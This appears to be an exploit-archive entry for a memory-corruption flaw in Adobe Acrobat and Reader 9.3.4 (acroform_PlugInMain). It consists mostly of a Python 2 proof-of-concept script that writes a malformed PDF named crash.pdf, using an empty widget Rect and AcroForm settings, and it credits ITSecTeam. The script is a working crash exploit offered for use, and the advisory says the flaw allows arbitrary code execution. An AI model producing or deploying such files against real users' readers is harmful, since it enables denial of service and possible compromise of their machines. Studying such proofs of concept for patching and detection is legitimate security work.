Adobe Acrobat and Reader 9.3.4 – ‘acroform_PlugInMain’ Memory Corruption
source: https://www.securityfocus.com/bid/42998/info Adobe Acrobat and Reader are prone to a remote memory-corruption vulnerability. Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions. #!user/bin/python _doc_ = ''' ------------------------------------------------------------------------- title : adobe acrobat reader acroform_PlugInMain memory corruption Product: Adobe Acrobat Reader Version: 7.x, 8.x, 9.x Tested : 8.1 - 9.1 - 9.2 - 9.3.3 - 9.3.4 Product Homepage: www.adobe.com Tested Os : Windows XP SP1/SP3 EN Windows Seven AUTHOR : ITSecTeam Email : Bug@ITSecTeam.com Website : http://www.itsecteam.com Forum : http://forum.ITSecTeam.com -------------------------------------------------------------------------- ''' import sys def main(): buffer = "%PDF-1.7" buffer += "\n1 0 obj\n" buffer += "<<\n" buffer += "/Kids [2 0 R]\n" buffer += "/Count 1\n" buffer += "/Type /Pages\n" buffer += ">>\n" buffer += "endobj\n" buffer += "2 0 obj\n" buffer += "<<\n" buffer += "/Group\n" buffer += "<<\n" buffer += ">>\n" buffer += "/Parent 1 0 R\n" buffer += "/Annots [3 0 R ]\n" buffer += ">>\n" buffer += "endobj\n" buffer += "3 0 obj\n" buffer += "<<\n" buffer += "/Subtype /Widget\n" buffer += "/Rect []\n" buffer += "/FT /Btn\n" buffer += ">>\n" buffer += "endobj\n" buffer += "4 0 obj\n" buffer += "<<\n" buffer += "/Names\n" buffer += "<<\n" buffer += ">>\n" buffer += "/Pages 1 0 R\n" buffer += "/OCProperties\n" buffer += "<<\n" buffer += "/D\n" buffer += "<<\n" buffer += ">>\n" buffer += ">>\n" buffer += "/AcroForm\n" buffer += "<<\n" buffer += "/NeedAppearances true\n" buffer += "/DR\n" buffer += "<<\n" buffer += "/Font\n" buffer += "<<\n" buffer += ">>\n" buffer += ">>\n" buffer += ">>\n" buffer += "/ViewerPreferences\n" buffer += "<<\n" buffer += ">>\n" buffer += ">>\n" buffer += "endobj xref\n" buffer += "0000000000 65535 f\n" buffer += "0000000015 00000 n\n" buffer += "0000000074 00000 n\n" buffer += "0000000199 00000 n\n" buffer += "0000000280 00000 n\n" buffer += "trailer\n" buffer += "<<\n" buffer += "/Root 4 0 R\n" buffer += "/Size 5\n" buffer += ">>\n" buffer += "startxref\n" buffer += "449\n" buffer += "%%EOF\n" try: print "[+] Creating POC file.." exploit = open('crash.pdf','w'); exploit.write(buffer); exploit.close(); print "[+] POC file created!" except: print "[-] Error: try again" sys.exit(0) if __name__=="__main__": print _doc_ main() |